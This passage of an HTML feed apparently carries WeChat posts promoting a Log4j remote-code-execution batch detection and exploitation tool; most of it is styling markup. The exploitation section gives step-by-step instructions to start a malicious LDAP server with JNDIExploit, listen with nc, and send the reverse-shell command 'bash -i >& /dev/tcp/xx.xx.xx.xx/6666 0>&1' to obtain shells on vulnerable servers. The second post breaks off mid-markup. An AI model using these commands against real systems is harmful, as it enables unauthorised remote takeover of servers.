&#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"></span><br/></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="outline: 0px;max-width: 100%;color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"> 双击打开工具，再将自己的ceye平台的<strong>API token</strong>和<strong>Identifier</strong>填入对应的位置，工具采用多线程，可以输入多个目标进行检测，如果目标存在漏洞，漏洞的地址和参数将输出在检测结果框中。</section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="outline: 0px;max-width: 100%;color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4735576923076923" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=0e46436e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicXVKf19rIbbGBiamZlLJvOoZ4u4YItwT6iba8Q14VUia7voIEDW68UmmMTJNjYXZwuX8QZWl6wBVSUQ%2F640%3Fwx_fmt%3Dpng"/></p><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="outline: 0px;max-width: 100%;color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.2139423076923077" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=ee37737b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicXVKf19rIbbGBiamZlLJvOo7xAUzbBSbOcCM4TQibYxcgePZG6OyoCX58Qe2Ql2XTxRTy1qjPlwApA%2F640%3Fwx_fmt%3Dpng"/></p><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="outline: 0px;max-width: 100%;color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="outline: 0px;max-width: 100%;color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="outline: 0px;max-width: 100%;color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="letter-spacing: 0.544px;font-size: 20px;"><span style="color: rgb(36, 41, 47);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;">二、漏洞利用</span></strong><br/></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="outline: 0px;max-width: 100%;color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="letter-spacing: 0.544px;font-size: 20px;"><span style="color: rgb(36, 41, 47);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;"><br/></span></strong></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="outline: 0px;max-width: 100%;color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><span style="font-size: 16px;color: rgb(36, 41, 47);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;"> 该版本工具包含了漏洞利用模块，漏洞利用需要在公网的服务器启动一个恶意ldap服务，恶意ldap服务可以使用JNDIExploit开源项目（github自行搜索），用法为 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i xx.xx.xx.xx ，启动恶意ldap服务后，还需在<span style="color: rgb(36, 41, 47);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;text-align: start;text-indent: 28px;background-color: rgb(255, 255, 255);">公网服务器</span>使用NC监听一个端口，准备好后就可打开本工具，在URL中填入存在漏洞的地址，在命令框填入反弹shell命令，端口为之前NC监听端口（bash -i &gt;&amp; /dev/tcp/xx.xx.xx.xx/6666 0&gt;&amp;1），LDAP框填入恶意服务地址(xx.xx.xx.xx:1389)，Payload填入<strong>漏洞验证时输出的参数</strong>，点击执行命令即可得到存在漏洞服务器的反弹shell。</span></span></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="outline: 0px;max-width: 100%;color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><span style="font-size: 16px;color: rgb(36, 41, 47);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;"><br/></span></span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6666666666666666" data-s="300,640" style="" data-type="png" data-w="1260" src="https://wechat2rss.xlab.app/img-proxy/?k=4a08b39b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicXVKf19rIbbGBiamZlLJvOoKyibjsBibfE3zZUQICmApYegicyJFiaCLaBQlMyKPt7QyZR6xoJicrBUOUg%2F640%3Fwx_fmt%3Dpng"/></p><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="outline: 0px;max-width: 100%;color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/><span style="font-size: 16px;"><span style="font-size: 16px;color: rgb(36, 41, 47);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;"></span></span><br/></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="outline: 0px;max-width: 100%;color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="outline: 0px;max-width: 100%;color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;outline: 0px;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="outline: 0px;max-width: 100%;visibility: visible;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">视频演示</strong></span></p></section></section></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="outline: 0px;max-width: 100%;color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="letter-spacing: 0.544px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=a8bf1c09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHicXVKf19rIbbGBiamZlLJvOoysHsLBCLsx4HQbIwRGuX1Us60O0zE9FDIBrqvN602QN8yicAxCLhrhg%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=b644fe8a&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247484145%26idx%3D1%26sn%3D491865fe9e5d623dfc80e1ad21a5a7fc%26subscene%3D0&amp;v=wxv_2180087637124890625"></video></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="outline: 0px;max-width: 100%;color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section>



<p><a href="2247484145">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9ca9476b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247484145%26idx%3D1%26sn%3D491865fe9e5d623dfc80e1ad21a5a7fc%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 15 Dec 2021 11:01:00 +0800</pubDate>
    </item>
    <item>
      <title>Apache Log4j 远程代码执行漏洞批量检测工具</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NjYwMTk0MA==&amp;mid=2247484130&amp;idx=1&amp;sn=d1480f76a8bcba32bb83aae36927451f</link>
      <description>Apache Log4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。</description>
      <content:encoded><![CDATA[<p>
原创 <span>InBug实验室</span> <span>2021-12-11 10:34</span> <span style="display: inline-block;"></span>
</p>

<p>Apache Log4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7aed17d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cH84aBWdBor8JbYicYdbiaE97nbnSRALUXLARibn4d4nKyLBbPDROArsibVHic9uMj2ojnkuKknEVlv265w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;display: inline-block;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(89, 89, 89);"><strong>漏洞描述</strong></span></p></section></section></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p>     由于Apache Log4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。</p><p><br/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 